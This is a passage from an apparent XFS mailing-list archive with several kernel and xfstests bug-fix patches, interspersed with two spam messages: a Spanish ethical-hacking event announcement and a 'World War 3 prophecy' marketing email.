transaction management more directly associated with freeing the inode xattrs, extents and the inode itself. Signed-off-by: Brian Foster --- fs/xfs/xfs_inode.c | 121 +++++++++++++++++++++++++++++++---------------------- 1 file changed, 71 insertions(+), 50 deletions(-) diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index ff4e729..b7e9279 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -1715,6 +1715,74 @@ error_unlock: } /* + * xfs_inactive_ifree() + * + * Perform the inode free when an inode is unlinked. + */ +STATIC int +xfs_inactive_ifree( + struct xfs_inode *ip) +{ + xfs_bmap_free_t free_list; + xfs_fsblock_t first_block; + int committed; + struct xfs_mount *mp = ip->i_mount; + struct xfs_trans *tp; + int error; + + tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ifree, 0, 0); + if (error) { + ASSERT(XFS_FORCED_SHUTDOWN(mp)); + xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES); + return error; + } + + xfs_ilock(ip, XFS_ILOCK_EXCL); + xfs_trans_ijoin(tp, ip, 0); + + xfs_bmap_init(&free_list, &first_block); + error = xfs_ifree(tp, ip, &free_list); + if (error) { + /* + * If we fail to free the inode, shut down. The cancel + * might do that, we need to make sure. Otherwise the + * inode might be lost for a long time or forever. + */ + if (!XFS_FORCED_SHUTDOWN(mp)) { + xfs_notice(mp, "%s: xfs_ifree returned error %d", + __func__, error); + xfs_force_shutdown(mp, SHUTDOWN_META_IO_ERROR); + } + xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES|XFS_TRANS_ABORT); + xfs_iunlock(ip, XFS_ILOCK_EXCL); + return error; + } + + /* + * Credit the quota account(s). The inode is gone. + */ + xfs_trans_mod_dquot_byino(tp, ip, XFS_TRANS_DQ_ICOUNT, -1); + + /* + * Just ignore errors at this point. There is nothing we can + * do except to try to keep going. Make sure it's not a silent + * error. + */ + error = xfs_bmap_finish(&tp, &free_list, &committed); + if (error) + xfs_notice(mp, "%s: xfs_bmap_finish returned error %d", + __func__, error); + error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); + if (error) + xfs_notice(mp, "%s: xfs_trans_commit returned error %d", + __func__, error); + + xfs_iunlock(ip, XFS_ILOCK_EXCL); + return 0; +} + +/* * xfs_inactive * * This is called when the vnode reference count for the vnode @@ -1726,10 +1794,6 @@ int xfs_inactive( xfs_inode_t *ip) { - xfs_bmap_free_t free_list; - xfs_fsblock_t first_block; - int committed; - struct xfs_trans *tp; struct xfs_mount *mp; int error; int truncate = 0; @@ -1801,60 +1865,17 @@ xfs_inactive( ASSERT(ip->i_d.di_anextents == 0); - tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); - error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ifree, 0, 0); - if (error) { - ASSERT(XFS_FORCED_SHUTDOWN(mp)); - xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES); - goto out; - } - - xfs_ilock(ip, XFS_ILOCK_EXCL); - xfs_trans_ijoin(tp, ip, 0); - /* * Free the inode. */ - xfs_bmap_init(&free_list, &first_block); - error = xfs_ifree(tp, ip, &free_list); - if (error) { - /* - * If we fail to free the inode, shut down. The cancel - * might do that, we need to make sure. Otherwise the - * inode might be lost for a long time or forever. - */ - if (!XFS_FORCED_SHUTDOWN(mp)) { - xfs_notice(mp, "%s: xfs_ifree returned error %d", - __func__, error); - xfs_force_shutdown(mp, SHUTDOWN_META_IO_ERROR); - } - xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES|XFS_TRANS_ABORT); - } else { - /* - * Credit the quota account(s). The inode is gone. - */ - xfs_trans_mod_dquot_byino(tp, ip, XFS_TRANS_DQ_ICOUNT, -1); - - /* - * Just ignore errors at this point. There is nothing we can - * do except to try to keep going. Make sure it's not a silent - * error. - */ - error = xfs_bmap_finish(&tp, &free_list, &committed); - if (error) - xfs_notice(mp, "%s: xfs_bmap_finish returned error %d", - __func__, error); - error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); - if (error) - xfs_notice(mp, "%s: xfs_trans_commit returned error %d", - __func__, error); - } + error = xfs_inactive_ifree(ip); + if (error) + goto out; /* * Release the dquots held by inode, if any. */ xfs_qm_dqdetach(ip); - xfs_iunlock(ip, XFS_ILOCK_EXCL); out: return VN_INACTIVE_CACHE; } -- 1.8.1.4 From tinguely@eagdhcp-232-140.americas.sgi.com Fri Sep 20 17:06:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7904F7F37 for ; Fri, 20 Sep 2013 17:06:03 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay3.corp.sgi.com (Postfix) with ESMTP id 09559AC003 for ; Fri, 20 Sep 2013 15:05:59 -0700 (PDT) Received: from eagdhcp-232-140.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-140.americas.sgi.com (8.14.5/8.14.5) with ESMTP id r8KM5wND004469 for ; Fri, 20 Sep 2013 17:05:58 -0500 (CDT) (envelope-from tinguely@eagdhcp-232-140.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-140.americas.sgi.com (8.14.5/8.14.5/Submit) id r8KM5wdx004468; Fri, 20 Sep 2013 17:05:58 -0500 (CDT) (envelope-from tinguely) Message-Id: <20130920220519.585903357@sgi.com> User-Agent: quilt/0.51-1 Date: Fri, 20 Sep 2013 17:05:08 -0500 From: Mark Tinguely To: xfs@oss.sgi.com Subject: [PATCH] xfs: fix node forward in xfs_node_toosmall Content-Disposition: inline; filename=xfs-fix-xfs_da3_node_toosmall-test.patch Commit f5ea1100 cleans up the disk to host conversions for node directory entries, but because a variable is reused in xfs_node_toosmall() the next node is not correctly found. If the original node is small enough (<= 3/8 of the node size), this change may incorrectly cause a node collapse when it should not. That will cause an assert in xfstest generic/319: Assertion failed: first <= last && last < BBTOB(bp->b_length), file: /root/newest/xfs/fs/xfs/xfs_trans_buf.c, line: 569 Keep the original node header to get the correct forward node. Signed-off-by: Mark Tinguely --- fs/xfs/xfs_da_btree.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) Index: b/fs/xfs/xfs_da_btree.c =================================================================== --- a/fs/xfs/xfs_da_btree.c +++ b/fs/xfs/xfs_da_btree.c @@ -1163,6 +1163,7 @@ xfs_da3_node_toosmall( xfs_dablk_t blkno; struct xfs_buf *bp; struct xfs_da3_icnode_hdr nodehdr; + struct xfs_da3_icnode_hdr firstnhdr; int count; int forward; int error; @@ -1221,13 +1222,14 @@ xfs_da3_node_toosmall( count -= state->node_ents >> 2; count -= nodehdr.count; + firstnhdr = nodehdr; /* start with smaller blk num */ forward = nodehdr.forw < nodehdr.back; for (i = 0; i < 2; forward = !forward, i++) { if (forward) - blkno = nodehdr.forw; + blkno = firstnhdr.forw; else - blkno = nodehdr.back; + blkno = firstnhdr.back; if (blkno == 0) continue; error = xfs_da3_node_read(state->args->trans, state->args->dp, From mail@noreply.com Sat Sep 21 05:43:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_MESSAGE,MIME_HTML_ONLY autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 23CF029DFB for ; Sat, 21 Sep 2013 05:43:34 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 10C108F8070 for ; Sat, 21 Sep 2013 03:43:30 -0700 (PDT) X-ASG-Debug-ID: 1379760205-04cb6c2e9d1271b50001-w1Z2WR Received: from server.massivemail.com (nodo8.03072330.com [108.163.253.22]) by cuda.sgi.com with ESMTP id THcnzjPoPS5GDL9i (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 21 Sep 2013 03:43:25 -0700 (PDT) X-Barracuda-Envelope-From: mail@noreply.com X-Barracuda-Apparent-Source-IP: 108.163.253.22 Received: from [190.129.200.190] (port=41692 helo=Desarrollo03) by server.massivemail.com with esmtpa (Exim 4.80.1) (envelope-from ) id 1VNKne-00018q-2i for linux-xfs@oss.sgi.com; Sat, 21 Sep 2013 14:52:30 +0400 Organization: Cosim TI Reply-To: mail@noreply.com Message-ID: <582a3262df7645590e1497c600117583@noreply.com> From: "Karen Suarez" To: Subject: Evento Internacional de Hacking en Bolivia Date: Sat, 21 Sep 2013 06:20:07 -0400 X-ASG-Orig-Subj: Evento Internacional de Hacking en Bolivia MIME-Version: 1.0 Content-Type: text/html; charset="windows-1252" Content-Transfer-Encoding: base64 X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - server.massivemail.com X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - noreply.com X-Get-Message-Sender-Via: server.massivemail.com: authenticated_id: massmail/only user confirmed/virtual account not confirmed X-Barracuda-Connect: nodo8.03072330.com[108.163.253.22] X-Barracuda-Start-Time: 1379760205 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140801 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMCBUcmFuc2l0aW9uYWwv L0VOIj4NCjxodG1sPg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PUNvbnRlbnQtVHlwZSBjb250 ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9d2luZG93cy0xMjUyIj4NCjwvaGVhZD4NCjxib2R5IHN0 eWxlPSJGT05ULUZBTUlMWTogVmVyZGFuYSI+DQo8cD4tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tPGJyPiZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyANCkFVRElIQUNLPGJyPi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS08YnI+Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IA0KRVZFTlRPIElOVEVSTkFDSU9OQUwgQU5VQUwgREU8 YnI+Jm5ic3A7Jm5ic3A7Jm5ic3A7IEhBQ0tJTkcgRVRJQ08gWSBTRUdVUklEQUQgDQpJTkZPUk1B VElDQTwvcD4NCjxwPi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS08YnI+Jm5ic3A7IA0KPGJyPkZFQ0hBOiAxNyB5IDE4IERFIE9DVFVC UkUgKFNBTlRBIENSVVogLSBCT0xJVklBKTwvcD4NCjxwPk9SR0FOSVpBRE8gUE9SOiBDT1NJTSBU STwvcD4NCjxwPjxhIGhyZWY9Imh0dHA6Ly93d3cuYXVkaWhhY2suY29tIj53d3cuYXVkaWhhY2su Y29tPC9hPjxicj5UZWxmOiANCigzKTMyMDEzOTU8YnI+RS1tYWlsOiA8YSANCmhyZWY9Im1haWx0 bzppbmZvQGF1ZGloYWNrLmNvbSI+aW5mb0BhdWRpaGFjay5jb208L2E+PGJyPi0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS08YnI+VEVN QVRJQ0E6PGJyPiZuYnNwOyZuYnNwOyZuYnNwOyANCi0gRGVzYWZpb3MgZGUgbGEgaW52ZXN0aWdh Y2lvbiBlbiBsYSBEZWVwIFdlYi48YnI+Jm5ic3A7Jm5ic3A7Jm5ic3A7IC0gMjAxMyANCkdsb2Jh bCBTZWN1cml0eSBSZXBvcnQsIFNwaWRlckxhYnMgLSBUcnVzdHdhdmU8YnI+Jm5ic3A7Jm5ic3A7 Jm5ic3A7IC0gQmFuY2EgDQpNb3ZpbDogRXN0YW1vcyByZWFsbWVudGUgc2VndXJvcz88YnI+Jm5i c3A7Jm5ic3A7Jm5ic3A7IC0gSGFja2luZyB5IE5PIGhhY2tpbmcgDQplbiBsYSBiYW5jYSB0cmFu c2FjY2lvbmFsPGJyPiZuYnNwOyZuYnNwOyZuYnNwOyAtIEVzY2FuZW8sIGxhIGZhc2UgY2xhdmUg ZGUgdW4gDQpldGhpY2FsIGhhY2tpbmc8YnI+Jm5ic3A7Jm5ic3A7Jm5ic3A7IC0gRGVzdHJpcGFu ZG8gYSBtb2Rfc2VjdXJpdHkgeSANCm1vZF9ldmFzaXZlLjxicj4mbmJzcDsmbmJzcDsmbmJzcDsg LSBTUUwgSW55ZWN0aW9uIGVuIEFwbGljYWNpb25lcyBXZWIgDQpBU1BYPGJyPiZuYnNwOyZuYnNw OyZuYnNwOyAtIENyaXB0b2dyYWZpYSwgZGVtb3MsIGV0Yy4uLiE8L3A+DQo8cD5MVUdBUiBERUwg RVZFTlRPOiBVbml2ZXJzaWRhZCBQcml2YWRhIERvbWluZ28gU2F2aW8uPC9wPg0KPHA+SU5WRVJT SU9OOjxicj4mbmJzcDsmbmJzcDsmbmJzcDsgLSBQUk9GRVNJT05BTEVTOiAzMDAgDQpCcy48YnI+ Jm5ic3A7Jm5ic3A7Jm5ic3A7IC0gRVNUVURJQU5URVM6IDIwMCBCcy48L3A+DQo8cD5JTkZPUk1B Q0lPTkVTOjxicj4mbmJzcDsmbmJzcDsmbmJzcDsgQ2xhdWRpYSBSb2RyaWd1ZXo8YnI+Jm5ic3A7 Jm5ic3A7Jm5ic3A7IA0KPGEgaHJlZj0ibWFpbHRvOmNyb2RyaWd1ZXpAY29zaW10aS5jb20iPmNy b2RyaWd1ZXpAY29zaW10aS5jb208L2E+LCA8YSANCmhyZWY9Im1haWx0bzppbmZvQGF1ZGloYWNr LmNvbSI+aW5mb0BhdWRpaGFjay5jb208L2E+PGJyPiZuYnNwOyZuYnNwOyZuYnNwOyANClRlbGVm b25vczogKDMpMzIwMTM5NSAtIDcwODY1MzE5PGJyPiZuYnNwOyZuYnNwOyZuYnNwOyA8YSANCmhy ZWY9Imh0dHA6Ly93d3cuYXVkaWhhY2suY29tIj53d3cuYXVkaWhhY2suY29tPC9hPjxicj4tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tPGJyPlNpIA0KZGVzZWEgcXVpdGFyIHN1IGUtbWFpbCBkZSBudWVzdHJhcyBsaXN0 YXMsIGVudmllIHVuIG1lbnNhamUgYTxicj48YSANCmhyZWY9Im1haWx0bzpxdWl0YXJAY29zaW10 aS5jb20iPnF1aXRhckBjb3NpbXRpLmNvbTwvYT4gY29uIGVsIGFzdW50byBRVUlUQVIgDQpESVJF Q0NJT04uPGJyPi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS08YnI+PC9wPg0KPC9ib2R5Pg0KPC9odG1sPg== From bounce1@cadmustech.com Sat Sep 21 07:58:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.6 required=5.0 tests=DATE_IN_PAST_03_06, HTML_MESSAGE,MIME_HTML_ONLY,T_FILL_THIS_FORM_SHORT autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1A30029DFB for ; Sat, 21 Sep 2013 07:58:54 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 078538F8052 for ; Sat, 21 Sep 2013 05:58:50 -0700 (PDT) X-ASG-Debug-ID: 1379768326-04cb6c153d1275cf0001-NocioJ Received: from mail.shivaminfotech.in (mail.shivaminfotech.in [103.14.121.163]) by cuda.sgi.com with ESMTP id 8W9SGlMnCTeBncLc (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 21 Sep 2013 05:58:48 -0700 (PDT) X-Barracuda-Envelope-From: bounce1@cadmustech.com X-Barracuda-Apparent-Source-IP: 103.14.121.163 Received: from app1.metanira.net (unknown [91.148.168.213]) by mail.shivaminfotech.in (Postfix) with ESMTP id 06CA14AC614 for ; Sat, 21 Sep 2013 12:58:38 +0000 (UTC) To: xfs@oss.sgi.com Subject: World War 3 prophecy Message-ID: <5cd3fa3f4477abf0c1b63d519d5e9be7@app1.metanira.net> X-ASG-Orig-Subj: World War 3 prophecy Date: Sat, 21 Sep 2013 13:42:10 +0530 From: "XPMedia" Reply-To: steve@xpmedia.com MIME-Version: 1.0 X-Mailer-LID: 61 List-Unsubscribe: X-Mailer-RecptId: 3273365 X-Mailer-SID: 394 X-Mailer-Sent-By: 12 Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: 8bit X-Barracuda-Connect: mail.shivaminfotech.in[103.14.121.163] X-Barracuda-Start-Time: 1379768327 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.09 X-Barracuda-Spam-Status: No, SCORE=1.09 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DATE_IN_PAST_03_06, DATE_IN_PAST_03_06_2, HTML_MESSAGE, MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140801 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 DATE_IN_PAST_03_06 Date: is 3 to 6 hours before Received: date 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 1.08 DATE_IN_PAST_03_06_2 DATE_IN_PAST_03_06_2
 

xpmedia.com-logo-swoosh-transparent3.png

 
World War 3 Prophecy

September 14, 2013 a Christian American leader had a visitation from Jesus concerning an impending Third World War. As you can imagine it is going viral. 

You can watch the entire word here.

A recent survey has shown that nearly one in three Americans believe that Syria's ongoing civil war is part of the Bible's plan for the end times. One in four believe that a possible U.S. attack on Syria could lead to the Battle of Armageddon. And one in five believe the world will end in their lifetime.
You can watch the entire word here.

The survey found that 32 percent of those polled agree with the statement, "I believe the battles in Syria are all part of the prophecies of the Book of Revelation." Forty-nine percent disagree.
The study also found that 26 percent agree with the statement, "I believe that U.S. military intervention in Syria might lead to the Battle of Armageddon that's spoken about in the Book of Revelation." And 18 percent agreed to the statement, "I believe the world will end in my lifetime."
 
 
 
To stop receiving these emails please unsubscribe.
Type your Company Name, Address and Contact Details
From jeff.liu@oracle.com Sat Sep 21 09:37:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 88DD229DFB for ; Sat, 21 Sep 2013 09:37:53 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 66F658F8052 for ; Sat, 21 Sep 2013 07:37:50 -0700 (PDT) X-ASG-Debug-ID: 1379774268-04cbb02c3b12786a0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id kqPeGuj3CPkxFZRx (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 21 Sep 2013 07:37:49 -0700 (PDT) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r8LEblsQ020365 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Sat, 21 Sep 2013 14:37:48 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8LEbkx1003064 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 21 Sep 2013 14:37:47 GMT Received: from abhmt113.oracle.com (abhmt113.oracle.com [141.146.116.65]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8LEbkpC014990 for ; Sat, 21 Sep 2013 14:37:46 GMT Received: from [192.168.1.104] (/221.223.107.147) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Sat, 21 Sep 2013 07:37:46 -0700 Message-ID: <523DAF67.9070206@oracle.com> Date: Sat, 21 Sep 2013 22:38:31 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20120410 Thunderbird/11.0.1 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH] xfs: fix the extent count when allocating an new indirection array entry Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH] xfs: fix the extent count when allocating an new indirection array entry Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1379774269 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140801 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu At xfs_iext_add(), if extent(s) are being appended to the last page in the indirection array and the new extent(s) don't fit in the page, the number of extents(erp->er_extcount) in a new allocated entry should be the minimum value between count and XFS_LINEAR_EXTS, instead of count. Signed-off-by: Jie Liu --- fs/xfs/xfs_inode_fork.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/fs/xfs/xfs_inode_fork.c b/fs/xfs/xfs_inode_fork.c index 02f1083..dfb4226 100644 --- a/fs/xfs/xfs_inode_fork.c +++ b/fs/xfs/xfs_inode_fork.c @@ -1035,11 +1035,11 @@ xfs_iext_add( while (count) { erp = xfs_iext_irec_new(ifp, erp_idx); - erp->er_extcount = count; - count -= MIN(count, (int)XFS_LINEAR_EXTS); - if (count) { + erp->er_extcount = MIN(count, + (int)XFS_LINEAR_EXTS); + count -= erp->er_extcount; + if (count) erp_idx++; - } } } } -- 1.7.9.5 From enwlinux@gmail.com Sat Sep 21 16:17:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 90E3A29DFB for ; Sat, 21 Sep 2013 16:17:47 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 530D48F804B for ; Sat, 21 Sep 2013 14:17:44 -0700 (PDT) X-ASG-Debug-ID: 1379798259-04bdf02f2112d8df0001-NocioJ Received: from mail-qc0-f181.google.com (mail-qc0-f181.google.com [209.85.216.181]) by cuda.sgi.com with ESMTP id 5G9njxVYUgoO0Ct0 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 21 Sep 2013 14:17:39 -0700 (PDT) X-Barracuda-Envelope-From: enwlinux@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.181 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.181] Received: by mail-qc0-f181.google.com with SMTP id q4so1123721qcx.26 for ; Sat, 21 Sep 2013 14:17:39 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.181] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.181] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=date:from:to:cc:subject:message-id:mime-version:content-type :content-disposition:user-agent; bh=Xbs3rBaqzFxeQXDIEohIagGuXi9YRRuiEqSahzki6yo=; b=t47h0z49oYUCbTb4V32BTfIN5aNsGNTH14TFLqj+akoWUKkZH+Ev/LdiwAo9Fuk2gg wT6IlnTx1vUFkrmOOWiaX1hgfGoSdrpyXOfNzt4nb6I5qJAPR+c7FWdeoU+PPtwxmjk1 Hh281ekAU2O7DJDn7K18mEwrM1lgcQDnfbv4rip7xQN0fjZv6E5uVzf5UcOAdk8b4Bql a0Y/xbWDIbYCl3+4P4rRKlyhZ0Pqo2zaL6aNbdw2R2JXhJhLyt/wfqUifOL9ossAWvRf 47nIm2kbMms1U4ugDBxtrgmAhbWlJZHkWR3mbcLg9GqAEV6rUNGMzMuLf3OM0jW/cxDK sH1g== X-Received: by 10.224.92.81 with SMTP id q17mr32759qam.92.1379798259029; Sat, 21 Sep 2013 14:17:39 -0700 (PDT) Received: from wallace (c-75-68-62-236.hsd1.nh.comcast.net. [75.68.62.236]) by mx.google.com with ESMTPSA id a7sm29681883qew.2.1969.12.31.16.00.00 (version=TLSv1.2 cipher=RC4-SHA bits=128/128); Sat, 21 Sep 2013 14:17:38 -0700 (PDT) Date: Sat, 21 Sep 2013 17:17:35 -0400 From: Eric Whitney To: xfs@oss.sgi.com Cc: linux-ext4@vger.kernel.org Subject: [PATCH] xfstests: set umask to avoid spurious generic/314 test failures Message-ID: <20130921211735.GC7855@wallace> X-ASG-Orig-Subj: [PATCH] xfstests: set umask to avoid spurious generic/314 test failures MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: mail-qc0-f181.google.com[209.85.216.181] X-Barracuda-Start-Time: 1379798259 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140802 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Generic/314 can fail when the group write file mode bit for "subdir" does not match that found in the golden output, as has been seen in ext4 regression testing. It appears that the golden output for generic/314 was taken on a system where the $qa_user's umask cleared that mode bit - most likely, where the umask was 022. Depending upon the distro, it's not uncommon for a user's default umask to have a different value, such as 002. When that's the case, we get a false negative failure when the group write mode bit for "subdir" is not cleared. This failure is unrelated to the value of the SGID mode bit that is the object of this test. We could either require that $qa_user's account be configured in advance with a umask of 022, or explicitly set a umask value compatible with the golden output when creating "subdir". The latter option is more robust. Signed-off-by: Eric Whitney --- tests/generic/314 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) mode change 100644 => 100755 tests/generic/314 diff --git a/tests/generic/314 